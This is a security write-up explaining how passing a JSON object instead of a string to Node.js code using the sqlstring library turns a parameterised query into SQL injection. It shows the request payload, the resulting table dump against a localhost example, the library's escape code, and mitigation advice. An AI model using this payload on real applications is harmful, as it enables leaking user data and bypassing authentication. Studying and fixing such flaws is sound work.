by Walleson Moura (@phor3nsic_br)

NodeJS + Sqlstring

In this section, we will explain a curious case of sql injection, a possible scenario, details of the issue, possible impacts and mitigations.

  • What is Object Injection?

Object Injection is an application-level vulnerability that could allow an attacker to execute different types of malicious methods, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when the input required by the user is not properly sanitized… (OWASP).

  • What is SQL Injection?

A sql injection attack consists of inserting or “injecting” an SQL query through the client’s input data into the application (OWASP).

Brief Scenario

When performing the analysis on an application during one of the tests, we can notice the presence of a different behavior when trying for some payloads to sql injections, but nothing we tried was exploitable. We thought of providing the parameter with an object to see how the result will look, that’s where everything comes to life.

The environment has an email validation, where the data of the responsible person is returned:

POST /email
Host: localhost
Content-Type: application/json

{"email":"guest@example.com"}

--------------------------------

HTTP/1.1 200 OK
content-type: application/json

{
  "error": false,
  "data": [
    {
      "name": "guest",
      "password": "1234",
      "email": "guest@example.com"
    }
  ]
}

However, this environment accepts that an object is provided without being treated as a string, so that the attacker can obtain all the data from the table as follows:

POST /email
Host: localhost
Content-Type: application/json

{"email":{"email":"1"}}

--------------------------------

HTTP/1.1 200 OK
content-type: application/json

{
  "error": false,
  "data": [
    {
      "name": "admin",
      "password": "admin",
      "email": "admin@example.com"
    },
    {
      "name": "guest",
      "password": "1234",
      "email": "guest@example.com"
    }
  ]
}

When analyzing the results, it is possible to check the data exposure of other users whose email does not match. This was due to the failure of object injection in conjunction with sql injection, which caused a “confusion” in the SQL query, responding with all values.

Details

To detail the previous scenario, we have to think about the sql query formed by the database:

MYSQL

SELECT * FROM `users` WHERE email = ?

So, when receiving an email, the database returns all the attributes from the user table, but where is the “confusion” going to happen when providing an object instead of a value?

Everything will happen in the most common dependency for all nodejs libraries that communicate with the mysql database, the library called sqlstring.

Simple SQL escape and format for MySQL https://github.com/mysqljs/sqlstring

Note:

Before going into, it is important to mention that the developer was called and he defined this information as something that should be treated by the application that uses the library, as a validation of the inputs.

The sql string library has the escape function, which will perform a treatment for some characters, so if we pass any of these as payloads, a treatment will occur preventing the common sql injection:

var ID_GLOBAL_REGEXP    = /`/g;
var QUAL_GLOBAL_REGEXP  = /\./g;
var CHARS_GLOBAL_REGEXP = /[\0\b\t\n\r\x1a\"\'\\]/g; // eslint-disable-line no-control-regex
var CHARS_ESCAPE_MAP    = {
  '\0'   : '\\0',
  '\b'   : '\\b',
  '\t'   : '\\t',
  '\n'   : '\\n',
  '\r'   : '\\r',
  '\x1a' : '\\Z',
  '"'    : '\\"',
  '\''   : '\\\'',
  '\\'   : '\\\\'
};

But if we pass an object everything will be different, look it:

SqlString.escapeId = function escapeId(val, forbidQualified) {
  if (Array.isArray(val)) {
    var sql = '';

    for (var i = 0; i < val.length; i++) {
      sql += (i === 0 ? '' : ', ') + SqlString.escapeId(val[i], forbidQualified);
    }

    return sql;
  } else if (forbidQualified) {
    return '`' + String(val).replace(ID_GLOBAL_REGEXP, '``') + '`';
  } else {
    return '`' + String(val).replace(ID_GLOBAL_REGEXP, '``').replace(QUAL_GLOBAL_REGEXP, '`.`') + '`';
  }
};

On the last return, he put the key of our object inside `` being as follows `key`. Because the escapeId function is called by objectToValues, the return will have an additional:

return SqlString.objectToValues(val, timeZone);

SqlString.objectToValues = function objectToValues(object, timeZone) {
  var sql = '';

  for (var key in object) {
    var val = object[key];

    if (typeof val === 'function') {
      continue;
    }

    sql += (sql.length === 0 ? '' : ', ') + SqlString.escapeId(key) + ' = ' + SqlString.escape(val, true, timeZone);
  }

  return sql;
};

So, if we pass a simple object like {“a”: “b”}, the return according to the code sequence will be:

`a`="b"

So taking as an example the previous query to the bank, the “logic” for results will be modified, it will analyze if the result is true/false:

SELECT * FROM `users` WHERE `email` = `a` = "b"

Column a does not exist in the users table, and returns an error, but if we provide an existing column as email and the value 1, we will have the expected result:

SELECT * FROM `users` WHERE `email` = `email` = "1"

Impact

Unlike the other sql injections, the impact of this will depend on the query, but the attacker is able to make leaks of table contents, as already seen, bypass authentication and enumerate columns.

This case has been seen in several github repositories!

Mitigation

As we can see, this flaw depends on the application allowing an object to reach the query, this being avoided, it will prevent sql injection. At first the objective is to remove the passage of the non-sanitized element into the query, a good way to handle this user input would be through JSON.stringfy, which will turn the content into a string, thus avoiding other errors.